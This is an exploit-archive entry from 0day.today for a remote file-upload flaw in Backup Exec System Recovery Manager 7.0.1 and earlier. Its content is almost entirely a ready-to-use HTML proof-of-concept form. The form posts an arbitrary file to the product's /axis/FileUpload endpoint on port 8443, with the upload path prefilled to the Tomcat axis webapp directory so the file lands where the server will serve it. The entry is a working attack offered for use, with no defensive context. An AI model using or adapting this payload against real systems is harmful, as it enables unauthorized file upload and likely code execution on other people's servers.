Backup Exec System Recovery Manager <= 7.0.1 File Upload Exploit

2008-02-07T00:00:00
ID 1337DAY-ID-9137
Type zdt
Reporter titon
Modified 2008-02-07T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            ================================================================
Backup Exec System Recovery Manager <= 7.0.1 File Upload Exploit
================================================================



<?xml version="1.0"?>
<html xmlns="http://www.w3.org/1999/xhtml">
  <head><title>File Upload POC</title></head>
  <body>
    <h2> Backup Exec System Recovery Manager 7.0<br>File Upload POC</h2>
    <form action="https://<TARGET>:8443/axis/FileUpload" method="post"
enctype="multipart/form-data">
      Remote Path: <input name="path" size="100" type="text"
value="C:\Program Files\Symantec\Backup Exec System
Recovery\Manager\Services\tomcat\WebApps\axis"/><br/>
	File to upload: <input name="log_file" type="file"/><br/>
      <hr/>
      <p><input type="submit"/><input type="reset"/></p>
	  </form>
(c)BastardLabs 2008.
  </body>
</html>



#  0day.today [2018-01-05]  #